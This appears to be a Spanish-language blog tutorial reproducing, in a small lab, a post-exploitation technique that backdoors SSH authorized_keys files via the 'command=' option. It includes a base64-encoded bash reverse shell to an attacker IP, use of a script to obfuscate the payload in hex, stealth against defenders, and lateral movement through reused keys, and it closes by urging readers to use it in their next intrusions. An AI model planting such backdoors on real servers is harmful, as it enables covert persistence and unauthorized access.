El día de ayer mientras revisaba mis RRSS leí un post del colega DragonJAR en donde se hacía eco del reciente artículo publicado en el blog de THC (The Hacker’s Choice), titulado originalmente «Infecting SSH Public Keys with backdoors«. Que documenta una más que interesante técnica (novedosa al menos para mi), que nos permite asegurar y obtener persistencia en los equipos poseídos, posterior a la intrusión. Lo que se puede clasificar como una ingeniosa técnica de Post-Explotación.
En esta revisión, más allá de reexplicar en que consiste la técnica en sí y el porqué se produce, vamos a ver algunos casos prácticos de como valernos y aprovechar el conocimiento vertido por el autor del articulo de origen.
Escenario:
Este pequeño laboratorio se compone de los siguiente activos:
| Dirección IP | SO | Rol |
|---|---|---|
| 192.168.1.34 | Windows 11 | Sysadmin |
| 192.168.1.43 | Ubuntu Linux | Servidor A |
| 192.168.1.37 | Debian Linux | Servidor B |
| 192.168.1.42 | Parrot OS | Atacante |
Partiremos creando un juego de claves RSA, esta vez asumiendo el rol del Sysadmin que utiliza el protocolo SSH para la administración de los servidores objetivos (inicialmente vamos con el Ubuntu).
Como se observa, 2 claves fueron creadas, la privada y la pública. La clave pública (id_rsa.pub) será compartida por el administrador con aquellos servidores a los que necesita conectar. A continuación su contenido:
Tomemos en cuenta que el Sysadmin que desea conectar con un servidor, necesita autenticarse mediante usuario y contraseña, esto como un método estándar e inicial.
Mientras que poniendo en marcha el par de claves RSA creadas, el Sysadmin podría trasladar el contenido del fichero id_rsa.pub al servidor objetivo y almacenarlo en el directorio de SSH del usuario mediante el fichero llamado «authorized_keys«:
Ya con esto volvemos a simular el acceso del Sysadmin y observamos que la autenticación ya no requiere de la contraseña del usuario local, esta vez la autenticación la realiza mediante la clave privada RSA del usuario (en este ejemplo).
Hay que tomar en cuenta que también podemos definir una contraseña asociada a las claves RSA y en el momento de la autenticación dicha contraseña nos debería ser solicitada. Para esta demo dejaremos las claves RSA sin contraseña.
Persistencia:
Bien, en la técnica que nos comentaban desde el blog de THC se hablaba de la posibilidad de generar una ejecución de comandos mediante una cadena codificada. En este caso, para las primeras pruebas lo haremos en Base64.
Luego insertaremos la cadena resultante en el fichero authorized_keys justo antes del contenido original, como prefijo.
Para ello emplearemos la «función poco conocida» command, que otorga la posibilidad que ejecutar un comando una vez se valida la autenticación del usuario. La cadena codificada en Base64 será insertada a través de la función eval. A continuación la vista completa del fichero authorized_keys «backdoorizado»:
En este caso, en cuanto el usuario intenta realizar la autenticación, éste la consigue e inmediatamente se produce el cierre de la conexión.
Por ahora obviaremos este aspecto, simplemente nos centraremos en la ejecución del comando codificado en Base64.
Efectivamente, evidenciamos que la ejecución fue exitosa.
Ahora pensemos en un escenario que nos otorgue conexión reversa al objetivo. Para ello emplearé la siguiente reverse shell:
echo 'bash -i >& /dev/tcp/192.168.1.42/8877 0>&1' | base64
El fichero authorized_keys de la víctima se quedaría así
Al mantenernos a la escucha desde equipo del atacante obtendríamos el siguiente resultado:
Ahora bien, retomemos el punto que nos dejamos anteriormente: ¿Qué pasa con la imposibilidad de conexión del usuario? una vez backdoorizado su fichero authorized_keys. Si lo dejamos así, este método está lejos de ser optimo y probablemente alertaríamos al Blue Team.
Sin embargo el mismo autor del blog THC desarrolló un script que automatiza la generación de la cadena codificada. A continuación el repo:
Pero antes de bajarnos el script (ssh-key-backdoor.sh) y ejecutarlo sin más (dejándonos poseer por el alma de un script kiddie) tendremos que eliminar o remover del script un par de líneas que fueron generadas con la intención de obtener algunos datos estadísticos, según el autor:
En su reemplazo dejaré plasmado el comando que deseo ejecutar y pondré en marcha este automatismo:
Observemos que la cadena generada tiene el siguiente contenido «ofuscado». En este caso se presenta codificado en hexadecimal:
Una vez más actualizamos el fichero authorized_keys de la víctima con la nueva cadena generada:
En este caso, si la víctima (el Sysadmin) se autentica en el sistema, conseguirá obtener su conexión vía SSH, pero adicionalmente también estaría ejecutando la backdoor que el atacante haya definido en el fichero authorized_keys:
Listo, lo siguiente será intentar obtener una reverse shell usando esta misma técnica.
Lo primero actualizaremos el script (ssh-key-backdoor.sh):
Lo ponemos una vez más en marcha:
Llevamos la cadena generada al fichero authorized_keys de la víctima:
Simulamos el acceso autorizado por el Sysadmin:
Si todo se ha ejecutado de forma correcta, como atacantes obtendremos la reverse shell totalmente funcional y operativa:
Esta técnica además ha sido ejecutada de forma bastante sigilosa, por que por un lado el Sysadmin no sospechará apenas nada de su conexión conseguida y por otro lado, desde el punto del atacante obtendremos el acceso es totalmente practico.
Para demostrar un mayor impacto y ver las posibilidades de esta técnica, veamos que sucede si el Sysadmin reutiliza y lleva su llave pública a otros servidores de la red, que por otro lado, es una práctica bastante extendida.
El atacante tan solo se mantendrá a la escucha hasta que el Sysadmin dispare la conexión mediante su backdoor implementada en el fichero authorized_keys, otorgando de esta forma las posibilidades de desplazamiento lateral.
Cabe destacar que está técnica permitirá mantener la persistencia, dado que el fichero authorized_keys en principio, no se restablece en ningún momento, ni aunque se reinicie el sistema. Para restaurarlo toca hacerlo a mano.
Pues nada, ya sabéis una técnica más para ejecutar en vuestras próximas intrusiones, cuando llegues a la etapa de Post-Explotación.